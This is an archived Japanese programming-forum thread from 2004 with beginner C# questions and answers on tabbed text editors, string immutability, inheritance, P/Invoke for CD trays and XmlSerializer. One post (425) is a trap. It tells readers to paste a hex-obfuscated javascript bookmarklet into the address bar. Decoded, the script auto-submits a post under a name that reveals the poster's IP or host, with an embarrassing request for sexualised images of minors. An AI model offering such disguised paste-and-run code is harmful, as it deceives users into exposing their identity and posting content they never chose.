ふらっとC♯(Part5) ..
394:デフォルトの名無しさん
04/10/18 18:46:47
>>393
タブのページ毎の情報はタブのページ毎に保存しとく。
OpenFileDialog.FileNameを、それぞれのTabPageオブジェクトのTagにいれといて
保存する時はそれを使うようにする。
……むう、微妙に説明するのが難しい。
//開く時
TabPage page = tabControl1.SelectedTab;
page.Tag = openFileDialog.FileName;
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName);
//上書き保存する時
TabPage page = tabControl1.SelectedTab;
string filename = (string)page.Tag;
((RichTextBox)page.Controls[0]).SaveFile(filename);
こんなかんじで。
395:デフォルトの名無しさん
04/10/18 20:10:25
早いレスありがとうございます。
しかし自分の説明不足からかわからない点が。
上の記述はすでにtabが開いてあるとしてのものですか?
説明が下手なのでコードを貼り付けます。
//開く
private void menuItem3_Click(object sender, System.EventArgs e)
{
openFileDialog1.DefaultExt = "*.txt";
openFileDialog1.Filter = "TEXT Files|*.txt";
if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK && openFileDialog1.FileName.Length > 0)
{
string path = openFileDialog1.FileName;
string name = Path.GetFileName(path);
string title = name;
this.newtabpage = new System.Windows.Forms.TabPage(title);
this.tabControl1.Controls.Add(this.newtabpage);
this.newrichTextBox= new System.Windows.Forms.RichTextBox();
this.newrichTextBox.Dock=System.Windows.Forms.DockStyle.Fill;
this.newtabpage.Controls.Add(this.newrichTextBox);
this.newrichTextBox.LoadFile(openFileDialog1.FileName, RichTextBoxStreamType.PlainText);
this.tabControl1.SelectedTab=this.newtabpage;
this.newtabpage.ToolTipText=path;
TabPage newtabpage = tabControl1.SelectedTab;
newtabpage.Tag = openFileDialog1.FileName;
MessageBox.Show(this.newtabpage.Tag.ToString());//パスが取れてるか確認のため。
}
}
としてみましたが結果が同じになってしまいました。
試行錯誤中なので無駄な記述があるかもしれません。
説明不足の上長文で申し訳ありませんがどうかお救いください。
396:デフォルトの名無しさん
04/10/18 20:19:32
>>395
this.newtabpageとかthis.newrichTextBoxとかは他で使わないならローカル変数でもいいような。
それはさておき開くときにファイル名を記録していないわけで。
this.newtabpage.Tag = name;
397:デフォルトの名無しさん
04/10/18 20:58:23
>>396
ファイル名を記憶してみても
別のテキストファイルを開いたらすでに開いてあるテキストファイルのタブのtagも新しく開いた方のtagになってしまいます。
根本的におかしい部分はありますか?
何回も本当に申し訳ありません。挫折したくないので頑張らせてください。お願いします。
398:デフォルトの名無しさん
04/10/18 21:02:04
>>397
すいません、解決しました。
パスを確認する別の記述の部分に
TabPage newtabpage = tabControl1.SelectedTab;
を加えるのを忘れていました。
ありがとうございました!
399:デフォルトの名無しさん
04/10/18 22:19:49
先生!
文字列型変数は、削除されないんですよね?
string s = "ぬるぽ";
s = "にりぺ";
とした場合、「ぬるぽ」は残ってるんですよね?
で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
400:デフォルトの名無しさん
04/10/18 22:22:16
アクセスって?
401:デフォルトの名無しさん
04/10/18 22:23:40
>>399
string s = "ぬるぽ";
string backup = s;
s = "にりぺ";
System.Console.WriteLine(backup);
402:デフォルトの名無しさん
04/10/18 22:23:48
参照が無くなったものにアクセスはできない。
GCの管理下に入ってそのうちメモリから消されるのみ。
というか
> 文字列型変数は、削除されないんですよね?
て意味不明。
System.Stringは変更不可クラスで、その意味は
文字列を操作する各メソッドが自分自身のインスタンスを書き換えるのではなく
新しいSystem.Stringインスタンスをつくって返すってこと。
403:デフォルトの名無しさん
04/10/18 22:24:21
>>400
string p = s;
で、"ぬるぽ"を取得したり、"ぬるぽ"を消して、別の値を入れたり。
です。
404:デフォルトの名無しさん
04/10/18 22:41:45
>>399
> とした場合、「ぬるぽ」は残ってるんですよね?
もう手の届かないどこかに残っている。そのうち消えるが。
> で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
諦めるのがよい。
>>403
>"ぬるぽ"を消して、別の値を入れたり。
別の値をどこに入れるね?
405:デフォルトの名無しさん
04/10/19 00:14:02
>>403
あんたはいったいなにがしたいんだ…?
406:デフォルトの名無しさん
04/10/19 01:40:32
>>402
どうでもいいことだが、参照が無くなってもWeakReferenceでアクセスできるような。
いや、これはGCの対象になるだけで参照は無くなってはいないか。
407:デフォルトの名無しさん
04/10/19 12:40:14
正規表現を全部エスケープする正規表現ってどうすればいいいですか?
408:デフォルトの名無しさん
04/10/19 14:54:14
class Class
{
public string s = "Hage1";
}
class Class1 : Class
{
new public string s = "Hage2";
public static void Main(string[] args)
{
Class c1 = new Class1();
Console.WriteLine(c1.s);
Console.ReadLine();
}
}
"Hage2"を表示したいのに、"Hage1"が表示されます。
Class c1 = new Class1();
で作成されたインスタンスは、Class1のインスタンスじゃないんでしょうか?
409:デフォルトの名無しさん
04/10/19 15:14:06
>>408
まず、フィールドはオーバーライドできない。まあ当然だけど。
このサンプルでやってるのはプロパティやメソッドで隠蔽と呼ばれる手法。同じシグネチャを持つもので元クラスのを隠蔽するわけだな。
ちなみにフィールドの場合newキーワードすら不要。
でも隠れただけで実際には存在する。
どう元クラスのにアクセスするか、というと元クラスの型でアクセスする。
この場合Class型でアクセスしたからClass型のsが呼ばれたんだな、とCLRは判断するわけだ。
さて、貴方の目当ての機能はどういうものか。
オーバーライドという手法だ。
機能を考えれば自ずと明らかなんだけど、これはメソッドやプロパティなど、「単に値を保持するだけではない」ものにしか適用できない。
サンプル。
class Super {
public virtual string S {get {return s;}}
private string s = "Super";
}
class Sub : Super {
public override string S {get {return this.s + base.S;}}
private string s = "Sub";
public static void Main() {
Super sub = new Sub();
Console.WriteLine(sub.S);
}
}
むう、今一つ上手い説明がつけられない……。
>>407
何がしたいのか分からないので具体例を。
410:408
04/10/19 15:55:59
>>409
この場合だと、
Class1クラスは、Classクラスのインスタンスを持っている。
Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。
そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。
c1---------Class ←Class型でアクセスするとこの中のデータにアクセス
|--------Class1←Class1型で ヾ
ていう感じでいいんでしょうか? orz
411:デフォルトの名無しさん
04/10/19 16:17:36
> Class1クラスは、Classクラスのインスタンスを持っている。
違う。
Class1は、Classを拡張している。
class Class1 { // Classを継承させずに書いてみる。いや文法エラーだけど
public string Class.s = "Hage1";
public string Class1.s = "Hage2";
}
こんな感じに。
この場合名前が同じだからわざわざClass.とClass1.で分けてるけど、そうでなければわざわざ型名をつける必要もないのは分かるね?
単に同じ部分を繰り返し書かなくて良いようにしてるだけ、と捉えることもできる(深く立ち入ればそう単純でもないが
> Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。
だからあくまでClass1のインスタンスはClass1のインスタンス。
Class1がたまたまClassの機能をそのまま引き継いでいるからClassにある機能も使うことができる。
> そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。
Class1クラスにはClass.sとClass1.sが両方定義されている。と考えられる。
普通c1はClass1のインスタンスなんだからsを呼ぶとClass1.sが返される。
でもClass型の方のsが欲しいなら、Class.sを呼び出すことを明示するためにClass型で呼び出す。
412:408
04/10/19 17:30:06
>>411
どうもありがとうございます。
>public string Class.s = "Hage1";
>public string Class1.s = "Hage2";
これでやっと分かりました、たぶん。
Class c1 = new Class1();
これで、base.Value でアクセスするような感じで、c1.Value で基底クラス(Class)のメンバーに、自動的にアクセス出来るってことですよね。
413:デフォルトの名無しさん
04/10/19 19:56:35
先日質問させていただいたタブ型メモ帳を作ってるものです。
実はまだ上書き作業が上手くいっていません。というかsavefileを使う記述がすべて上手くいっていません。
問題はやはり保存したいもののとなりに新しく開いたものがあると
書き込むファイルは教えていただいた方法でちゃんと書き込んでいるのですが
書き込んでいる内容が一番最後に開いたタブのなかのrichTextBoxの内容になっています。
//上書き保存
private void menuItem4_Click(object sender, System.EventArgs e)
{
newtabpage = tabControl1.SelectedTab;
string fpath = newtabpage.Tag.ToString();
if(fpath.Length>0)
{
newrichTextBox.SaveFile(fpath,RichTextBoxStreamType.PlainText);
}
else
{
saveFileDialog1.DefaultExt = "*.txt";
saveFileDialog1.Filter = "TEXT Files|*.txt";
if(saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&saveFileDialog1.FileName.Length > 0)
{
newrichTextBox.SaveFile(saveFileDialog1.FileName,RichTextBoxStreamType.PlainText);
}
}
}
こう記述しております。
あと最初に回答していただいたときの
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); と
((RichTextBox)page.Controls[0]).SaveFile(filename); はどういう意味があるのでしょうか?
お願いします。
414:デフォルトの名無しさん
04/10/19 20:34:09
問題は、そのnewrichTextBoxだ。
そのnewrichTextBoxは最後に開いたRichTextBoxを指しているだろう?
つまり現在選択中のタブ上にあるRichTextBoxを必ずしも指していない。
そのために
TabPage page = tabControl1.SelectedTab; //pageは現在選択中のタブのTabPage
string filename = (string)page.Tag; //現在選択中のタブがもつパス情報
((RichTextBox)page.Controls[0]).SaveFile(filename); //現在選択中のタブページに含まれるRichTextBoxを取得し、そのデータを上で取得したパスに保存
と書いたわけだ。
つかさ、こんなnewrichTextBoxだのなんだののフィールドは捨てた方がわかりやすくなると思う。
それぞれのメソッドで必要な時にtabControl1.SelectedTab.ControlsからRichTextBoxの参照を取得すべき。
415:デフォルトの名無しさん
04/10/19 21:48:07
そういう意味だったのですか。なるほど。
試したところ上手くいきました。ありがとうございました。
意味はわかったんですけど
((RichTextBox)page.Controls[0]).SaveFile(filename);
という記述は変な聞き方ですがどこで手に入れた?のですか?
MSDNライブラリのtabpage.Controlsの周辺にもなかったので。
416:デフォルトの名無しさん
04/10/19 21:55:03
ん?
目的からしてTabPageにはDock.FillのRichTextBoxしか含まれてないだろう、と言う推測のもと
そうするとTabPage.Controls[0]はRichTextBoxになるわけで
それをControlsの各アイテムはControlクラスだからそのままではSaveFileメソッドを使えないから
一旦RichTextBoxにキャストしてSaveFileメソッドを実行、だが。
RichTextBox rtb = (RichTextBox)page.Controls[0];
trb.SaveFile(filename);
を一行で済ませただけだよ。
417:デフォルトの名無しさん
04/10/19 21:57:18
>>415
個々のオブジェクトの使い方を覚える前に、
まずはC#(というか.NET framework)そのものを学んだ方がよい。
重要なのは記述の方法ではなく、その記述が表現している概念だ。
418:デフォルトの名無しさん
04/10/19 22:06:19
IEのファイルダウンロードのダイアログを同等のものを
C#のプログラムで表示させたいのですが、
どうすればいいのですか?
「開く」「保存」「キャンセル」のボタンがあるやつです。
419:デフォルトの名無しさん
04/10/19 22:13:18
実をいうと自分は
SE・プログラマ スタートアップテキスト 10日間マスター講座 C#プログラミング 【基礎】
URLリンク(www.gihyo.co.jp)
を読んでタブ型メモ帳を作ろうとしていました。
この本は他のC#の解説書・サイトと比べるとかなり基本的なことだけでまとめられていて
自分にピッタリだなぁと思ったんです。
しかし質問するにつれてこの本に載っていない単語・表現・記述などがあるたび
検索してひとつずつ理解しながらまた質問していました。
やはりこれだけでは全然足りないみたいです。
これだけは読んでおけ!っていう本・サイトはありますか?
420:デフォルトの名無しさん
04/10/19 22:37:28
>>418
> 「開く」「保存」「キャンセル」のボタンがあるやつです。
それくらいならFormから派生させたクラス書こう。
Buttonを3つ配置してそれぞれのClickイベントでDialogResultプロパティを適当に設定するだけだ。
421:418
04/10/19 23:02:25
プログラムを書くのは簡単ですが、OS or IEで用意されている
ものがあるのであればそれを使いたい。
そもそもOS or IEのバージョンによっても表示が変わりますよね。
422:418
04/10/19 23:07:15
ファイル上書き確認のダイアログとかもそうだけど。
用意されてないの?自分でつくらないといけないの?
423:デフォルトの名無しさん
04/10/19 23:11:52
上書き確認はSaveFileDialogについてくるもんだしなぁ。
YesNoCancel程度ならMessageBoxで済むし。
424:デフォルトの名無しさん
04/10/20 02:32:48
>>418
あった気がするが。忘れたよ。Win32APIスレでも行ってみたら?
425:デフォルトの名無しさん
04/10/20 07:13:53
どのスレでもいいので新しいウインドウで開く
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75
653d275c75333045445c75333045415c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b2829
3b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
を1行にしてアドレス欄にコピペして実行すれ。
426:デフォルトの名無しさん
04/10/20 12:40:19
ListBoxとかListView上で、マウスを動かすと同時に、マウスの位置にあるアイテムを
自動的に選択するようにしたいんですが、どうやったらいいですか?
427:デフォルトの名無しさん
04/10/20 13:11:40
>>426
MouseMoveイベント内で、
ListView.GetItemAt(int x, int y)またはListBox.IndexFromPoint(int x, int y)でマウス位置のアイテムまたはインデックスを取得。
ListViewItem.SelectedまたはListBox.GetSelectedがfalseならば
ListViewItem.Selectedをtrue、またはListBox.SetSelected(int index, bool value)で選択させる。
激しく鬱陶しそうなUIだな。
実用にならない気がする。
428:デフォルトの名無しさん
04/10/21 16:48:43
保守age
429:デフォルトの名無しさん
04/10/24 00:03:10
CDドライブのドライブレターを指定して、
トレイの開閉操作を行いたいんだけど、どうもFrameworkにはなさそうなので
従来通り、winmm.dllのmciSendCommandでやろうと思ったわけですが、
構造体を引数にとる場合の処理で困ってます
typedef struct tagMCI_OPEN_PARMSW {
DWORD_PTR dwCallback;
MCIDEVICEID wDeviceID;
LPCWSTR lpstrDeviceType;
LPCWSTR lpstrElementName;
LPCWSTR lpstrAlias;
}
mciSendCommandのextern宣言は
public static extern int mciSendCommand(ulong IDDevice,uint uMsg,ulong fdwCommaand,[MarshalAs(UnmanagedType.LPStruct)] ref MCI_OPEN_PARMS dwParam);
としていますが、
「追加情報 : parameter #4 を集成できません。無効なマネージ/アンマネージ型の組み合わせです。この値は Struct と組で使用してください。」
と、例外が発生して実行できません
どうやったらいいんでしょうか?
430:デフォルトの名無しさん
04/10/24 00:44:34
>>429
それだけなら
public static extern uint mciSendString(string command, StringBuilder returnBuffer, uint bufferSize, IntPtr whnd);
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
で良さそうだけど。
//開閉状態のチェックは色々難しいところがあるようだ……。
URLリンク(forums.belution.com)
431:デフォルトの名無しさん
04/10/24 01:28:56
特定のドライブ、となると一旦openする必要があるのかな。
StringBuilder sb = new StringBuilder(256);
uint existCD = mciSendString("open Q:\\ type cdaudio alias Hoge", sb, 256, IntPtr.Zero);
if (sb.ToString() == "1") //ドライブのオープンに成功したかチェック
mciSendString("set Hoge door open", null, 0, IntPtr.Zero);
432:429
04/10/24 17:17:55
できましたー
SendStringで開閉できたんですねorz
ありがとうございました
433:デフォルトの名無しさん
04/10/24 19:32:03
C#でチャットを作っています
メッセージを受信した際にログを表示するrichTextBox1を最下行へスクロールしたいのですが、
private void richTextBox1_TextChanged(object sender, System.EventArgs e)
{
richTextBox1.SelectionLength = 0;
richTextBox1.SelectionStart = richTextBox1.Text.Length;
richTextBox1.ScrollToCaret();
richTextBox1.Focus();
richTextBox2.Focus();
//もしくは
//richTextBox1.SelectionStart = richTextBox1.Text.Length;
//richTextBox1.Select();
//richTextBox1.Focus();
//richTextBox2.Focus();
}
とすると、たしかに最下行へ移動するのですが、(richTextBox2で)文字入力途中に、
このイベントが発生すると当たり前ですがフォーカス奪われて文字入力が不便になります。
richTextBox2のほうで入力中でも、影響なくスクロールする方法があれば教えていただきたいです・・・。
434:467
04/10/24 23:06:09
すいません自己解決しますた
Focus()ハズしてrichTextBox.1HideSelection = falseでうまくいきました
435:433
04/10/24 23:06:41
433だった・・・
436:デフォルトの名無しさん
04/10/25 22:10:19
文字列の検索でIndexOfとかIsMatchを使うと
[]とかの正規表現に使う文字列がうまく検索できないみたいなんですけど
これって普通に[]とかを検索したい場合、検索したい文字列を自分で
変換したりする必要があるんですか?
それとも他に何か簡単な方法があるんでしょうか?
教えてくださいお願いします。
437:デフォルトの名無しさん
04/10/25 22:14:21
.NET FrameworkにはIsMatchメソッドがあるのがRegexクラスしかなくて、RegexクラスにIndexOfメソッドはないんだが。
一体何でどうやって文字列の検索をしてるのかな。
438:デフォルトの名無しさん
04/10/25 22:24:58
大昔の「コンピュータがクリックして困ってるんだ!」っていう話を思い出した。
439:デフォルトの名無しさん
04/10/25 22:49:21
>>437
レスありがとうございます。
検索の方法はコンボボックスのテキストから
ループさせて毎回比べるようなやり方で検索しています。
for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
{
string s = DataGrid.Rows[i].Cells[0].Value.ToString();
int a = s.IndexOf(sStripPanel1.Text);
if (a!= -1)
{
結果表示
}
}
意味不明なことしてたらすみません。。。
RegexクラスのIsMatchでもやってみたんですけど
正規表現に使うらしい文字列?を入力するとエラーが出ました。
440:デフォルトの名無しさん
04/10/25 23:03:42
>>439
> for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
最後のRowはチェックしないのな。
String.IndexOfは正規表現由来のメタ文字なんか考慮しない。
"abc[def]g".IndexOf("[d")は3を返す。
//まあ相談室スレの487-488みたいなUnicode由来の(と思われる)問題はあるようだけど。
実際にsStripPanel1.TextとDataGrid.Rows[i].Cells[0].Value.ToString()を表示させてみたら?
sStripPanel1.Textが意外な文字列になってる可能性がある。
念を入れてBitConverter.ToString(Encoding.Default.GetBytes(sStripPanel1.Text))とかでバイト単位でチェックする。
441:デフォルトの名無しさん
04/10/25 23:15:18
>>440
どうもありがとうございます。
>最後のRowはチェックしないのな。
します、直します( ´Д⊂ヽ
IndexOfで普通にできるのが分かっただけでも良かったです。
たぶん自分の書いたコードが相当おかしいのが原因だと思います。。。
色々やってみます。ありがとうございましたm(_ _)m
442:デフォルトの名無しさん
04/10/25 23:30:28
非ビジュアルなコンポーネントを作りたいのですが、
書籍かWEBで適当な入門書があったら教えてください。
C#によるコンポーネントプログラミング
(URLリンク(www.amazon.co.jp))
にはビジュアルなコントロールの作り方しか載っていませんでした。
よろしくお願いします。
443:デフォルトの名無しさん
04/10/26 00:06:51
>>442
そりゃ漠然としすぎてて書きようがないからじゃないかなぁ。
URLリンク(www.microsoft.com)
ms-help://MS.VSCC/MS.MSDNVS.1041/vbcon/html/vbconComponentAuthoring.htm
を参照にする。
まあ、Componentを継承させときゃいいよ、うん。
444:在日外国人参政権反対
04/10/26 00:13:31
>442
.NETライブラリみたいに複数のプログラムで使いたいってことじゃないの?
445:デフォルトの名無しさん
04/10/26 00:31:58
>>443
ありがとうございます。
ざっとみたところ、本当にComponentを継承するだけで良さそうですね。素晴らしい。
>>444
いえ、提供されているCOMがあるのですが、使い勝手がイマイチなので、
ラッパーコンポーネントを作ろうと思っています。
446:デフォルトの名無しさん
04/10/26 01:11:52
DataTableをdataGrid.DataSourceに設定して、
dataGridのセルがクリックされたときに元のDataTabeのどのRowにあたるか、
見つける方法ないですか?
ソートされちゃうと順番変わってわけわかめ。でも自動ソート機能は欲しい。
447:446
04/10/26 01:14:57
Windows.FormsのDataGridです。
448:デフォルトの名無しさん
04/10/26 01:59:00
>>446
dataGrid.DataSource.Rows[dataGird.CurrentRowIndex];
つか設計おかしいよ。順番気にしてる時点で。
449:デフォルトの名無しさん
04/10/26 02:08:15
>>448
わけあってDataGridをListViewのように使ってるんです。
で、残念ながらそのコードだと、ソート前のDataRowしか取れませんでした。
450:デフォルトの名無しさん
04/10/26 02:24:19
あー、そういうことか。
主キーのところの値が完全一致するのを探せば良いんじゃない?
//カラムの並びを入れ替えられるとお手上げかな。
451:デフォルトの名無しさん
04/10/26 02:46:42
>>450
やっぱりそういう力技しかないんですね・・・。カラムの並び替えは無しの方向でやってます。
ありがとうございました。
452:デフォルトの名無しさん
04/10/28 00:49:32
>>446
CurrencyManagerを使えばできないかな
453:デフォルトの名無しさん
04/10/28 00:56:18
ふとどぼんを見に行ったらこんなのもあったが。
URLリンク(dobon.net)
454:デフォルトの名無しさん
04/10/29 13:04:24
Socket.Send()を利用するため、XmlSerializerでシリアル化したオブジェクトをバイト配列にコンバートして
Send()につっこみたいのですが、XmlSerializerの引数はstream用でバイト配列にする方法が見つかりません。
やっぱできないのでしょうか。。。。
455:デフォルトの名無しさん
04/10/29 13:15:50
MemoryStream ms = new MemoryStream();
xmlSerializer.Serialize(ms, obj);
byte[] bytes = ms.ToArray();
socket.Send(bytes, 0, bytes.Length);
ということかな?
456:デフォルトの名無しさん
04/10/29 13:18:23
>>454
MemoryStream
457:デフォルトの名無しさん
04/10/29 13:20:12
455のsocket.Send、パラメータをStream.Writeと勘違い……。
458:454
04/10/29 14:29:46
>>455,456さん
ありがとうございます、MemoryStreamをつかうんですね
ためしてみます(`・ω・´)
459:デフォルトの名無しさん
04/10/29 22:47:34
.net2で質問なんですけど、、、
this.TopMost = !this.TopMost;
とやると常に手前にしたときにメインメニューのドロップダウンの部分が
フォームの下に隠れちゃうんですけど何がいけないんでしょうか。。。?
460:デフォルトの名無しさん
04/10/29 23:58:23
Visual Studioで使われているようなタブコントロールを作りたいのですが、
あれはSystem.Windows.Forms.TabControlからの継承で作れるものなのでしょうか。
サードパーティ製のものもあるにはあるのですが、
せっかくなので自分で作ってみたいのです。
461:在日外国人参政権反対
04/10/30 01:16:55
>460
自分で気合で描画することを進めます。
462:454
04/10/30 17:42:20
たびたびすいません、454です
>>455を参考にやってみましたが、うまくいかず(´・ω・`)
デシリアライズはこれでいいんですよ・・・ね・・・?
MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();
463:デフォルトの名無しさん
04/10/30 17:46:03
>>462
MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
msRead.Position = 0; // コレ追加よろ
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();
464:454
04/10/30 17:52:28
>>463
おぉぉ、うまくいったー
ありがとうございます
Position指定必要だったんですね・・・・まったく気づかなかった(つД`)
465:デフォルトの名無しさん
04/10/30 18:26:25
>>461
ちまちまやってみますわ。
.net 2.0になっても各種コントロールはショボイままだった…。
幾つか良くなったのもあるけど。
466:デフォルトの名無しさん
04/10/30 21:12:36
CSVから読み込んで、datasetに収まってる
7995.005229
とかを少数以下は無視していいのでintにしたいのですがどうすればいいですか?
Convert.Tointが使えなくて困ってます。(少数いかにも数字があるから?)
467:デフォルトの名無しさん
04/10/30 21:14:38
>>466
doubleにしてからintに落とせば?
468:デフォルトの名無しさん
04/10/30 21:16:36
>>465
基本的に言語のライブラリはOSが提供するUIに口出ししないし、するべきではありません。
そういうのはサードパーティの仕事です。
469:デフォルトの名無しさん
04/10/30 21:21:44
そのサードパーティのライブラリでよく使われる?ActiveReport
やFlexGridなどの解説本を探してみたのだが、全然見つからないね。
ヘルプだけ見て使いこなせということなんだろうか。
470:466
04/10/30 22:10:21
>>467
いけました。ありがとうございました
471:デフォルトの名無しさん
04/10/30 23:28:29
>>468
まぁ今の".NET Framework"はそうかもしれないけど、
いずれWindowsのAPIになっていくわけでしょ。
そうするとやっぱりWindowsが提供するネイティブコントロールは
しょぼいってことになるわけで、そろそろどうにかならないものかとは思う。
472:デフォルトの名無しさん
04/10/30 23:36:02
>>469
VS標準のCrystalReportも日本語だとあまり情報ないよね。
仕事で作るような帳票類はGDIでゴリゴリ書いてる時間ないから
しかたなく使ってるけど、正直"たぶんこうやって使うんだろう"の世界。
473:在日外国人参政権反対
04/10/30 23:48:30
>468
Windows.Formsにまとめてるのはその意図を汲んでのことだろう。
だからこそそれを拡充させてほしい気はする。
474:デフォルトの名無しさん
04/10/30 23:58:33
リストボックスから条件に見合ったオブジェクトを削除したいのですが、
foreach ( UserList logoutUser in listBox1.Items )
{
if ( recMessage.TargetUserID == logoutUser.UserGuid )
{
listBox1.Items.Remove(logout);
}
}
と書くと
System.InvalidOperationException:
この列挙子が連結されている一覧は変更されています。
列挙子は、一覧が変更しない場合に限り使用できます。
とゴルァされるのですが、いい方法ないでしょうか・・・。
475:デフォルトの名無しさん
04/10/31 00:01:00
あ、最後のところRemove(logoutUser)でつ
476:デフォルトの名無しさん
04/10/31 00:04:54
そりゃ列挙中に肝心の列挙するコレクションが変わってしまっては話にならないだろ。
forで回してやるとかしな。
477:474
04/10/31 00:13:16
ありがとうございました。
1回ブツが釣れれば十分なのでbreakかましたらうまくいきました
吊ってきますorz
478:デフォルトの名無しさん
04/10/31 12:12:15
「すれ立てるまでもない質問・・・」に書き込んだら怒られてしまいました。
同じ内容ですが、こちらに書かせてください。
VS.NetのC#でプログラム作ってるんですが、データセットから
テキストボックスにバインドする方法が分からないんです。
といっても、よくあるデータテーブルの列単位でバインドするやり方ではなくて
データテーブルのある条件に合致するレコードの項目をバインドしたいんです。
例えば
Key 列1 列2
001 1AAA 1BBB
002 2AAA 2BBB
003 3AAA 3BBB
004 4AAA 4BBB
005 5AAA 5BBB
みたいなデータテーブルから、TextBoxにはKey=003の条件によって
列1の内容(3AAA)をバインドしたいんです。
もちろん、バインドするからには変更結果も反映されていてほしいんですが・・・
お願いします。
479:デフォルトの名無しさん
04/10/31 18:21:08
ふと思ったんですけど、
using System.Windows.Forms;
という感じにしておいた部分を
using System.Windows.NewForms;
とかに書き換えることで、クラス構成をそっくり新しくする事って邪道ですか?
480:デフォルトの名無しさん
04/10/31 18:22:36
オレ的には邪道
481:デフォルトの名無しさん
04/10/31 19:07:04
>>479
その場合、
using System.Windows.Forms;
↓
using No479.Windows.Forms;
みたいに企業名(Systemの部分)を変えたほうがいいんじゃないか。
URLリンク(www.microsoft.com)
482:479
04/10/31 19:11:46
>>481
ちゃうちゃう
System.Windows.Forms と System.Windows.NetForms の中に、
型は同じだけど挙動の異なるクラスがあったときに、
using 文でどちらを採用するか切り替えるのは邪道かな?って事
483:479
04/10/31 19:12:21
>>482
別に名前空間名はなんだって良いんだが
484:デフォルトの名無しさん
04/10/31 20:48:00
>>482
そういうクラスが大量にあるソースを目の前にしたときに激しい絶望感に襲われるのでやめてください。
using書いてるのにnamespaceフルに書いて別のnamespaceのクラスを使用されたりして混沌に拍車がかかったりします、してます……
485:479
04/10/31 20:52:06
何となく分かりました。皆さんも回答有難う御座います
>>484
がんがって下さい orz
486:デフォルトの名無しさん
04/10/31 20:57:35
>>484
using Hoge = System.Windows.Forms;
Hoge.Form = new Hoge.Form();
で随分楽になると思うけど。
まあ479みたいなのは見たくもないと言うのはよく分かる。
487:デフォルトの名無しさん
04/11/01 02:18:40
>479
そういうののためにAbstractFactoryとかあるとおもうのだけど。
あれは切り替えできるとともに、システム上での選択肢をひとつに強制するという使い方でもある。
ソースごとにusingで切り替えられるのは>>484のいうとおりたちの悪いバグの元。
488:デフォルトの名無しさん
04/11/02 04:49:20
FormクラスのActivate()メソッドを使用してます
>>アクティブなアプリケーションであるフォームをアクティブにした場合は、そのフォームが最前面に移動します。
>>アクティブなアプリケーションではないフォームの場合は、そのフォームのウィンドウ キャプションが点滅します。
とあるのですが、他のアプリケーションに切り替えてるときにこのメソッド呼び出されると、最前面に来る場合があるのですが、
他のアプリケーションにフォーカスしている ≠ その他のアプリケーションのフォームがアクティブである
ということなのしょうか・・・?
MSNメッセンジャーのように、通知が来たときに点滅するだけでいいのですが、
これってWin32API叩くしかないんでしょうか・・・。
489:デフォルトの名無しさん
04/11/02 09:28:31
>>488
なるねー。
.NET2.0ならFlashメソッドってのがあるんだけど。
490:488
04/11/02 14:36:14
1.1じゃムリかなぁ(つД`)
491:デフォルトの名無しさん
04/11/02 17:24:17
VSの画面にはドッキングウィンドウなどありますが、あのコンポーネントは何処にありますか?
あの画びょうのマークのついたドッキングウィンドウ・コンポーネントと、
プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
探していますが見つからない。
492:デフォルトの名無しさん
04/11/02 17:36:37
>>491
とりあえず
> プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
はPropertyGridだな。こいつは.NET Framework標準。
ドッキングウィンドウは……the Code Projectにあったようななかったような。
493:デフォルトの名無しさん
04/11/02 18:59:20
richTextBox1.AppendText( recMessage.ToString() + " : " + recMessage.Message + "\r\n" );
を
richTextBox1.AppendText( recMessage.ToString() + " : " /* + recMessage.Message + "\r\n" */);
string[] splString = recMessage.Message.Split(new char[] {'#'});
for ( int count = 0 ; count + 1 <= splString.Length ; count++ ){
if ( count != 0 ){
String colorCode = splString[count].Substring(0,1);
switch ( colorCode ){
case "1":
richTextBox1.SelectionColor = System.Drawing.Color.Blue;
richTextBox1.AppendText(splString[count].Substring(1));
break;
(中略)
default :
richTextBox1.AppendText(splString[count]);
break;
}
}else{
richTextBox1.AppendText(splString[count]);
}
}
richTextBox1.AppendText("\r\n");
}
にしたところ、エラー音が出るようになりました(処理は正常に行われてるっぽい) なぜでしょう・・・?
494:デフォルトの名無しさん
04/11/02 23:03:59
>>491
DockPanelSuite URLリンク(sourceforge.net)
無償でオープンソース。現在ベータ版で、メニューの統合がうまくいかないなどバグが残る。
DotNetMagic URLリンク(www.dotnetmagic.com)
機能的にはおそらく最強。でも有償。
MagicDocking URLリンク(www.codeproject.com)
DotNetMagic の旧バージョン。ライセンスはよくわからん。
SharpDevelopに使われるなど実績あり。
Docking Suite URLリンク(www.divil.co.uk)
現在ベータ版。非商用利用に限り無償。
代表的なところでは、こんなものか。見た目や動きが微妙に違うので、実際に使ってみて選んだ方がいい。
495:デフォルトの名無しさん
04/11/03 10:49:11
鯖から非同期に送られてきたデータをバックグラウンドで取得し、イベントとして通知するようなライブラリ作ってます
1:TcpClient を使っているとき、サーバから切断されたことをすぐに知るにはどうすればいいか
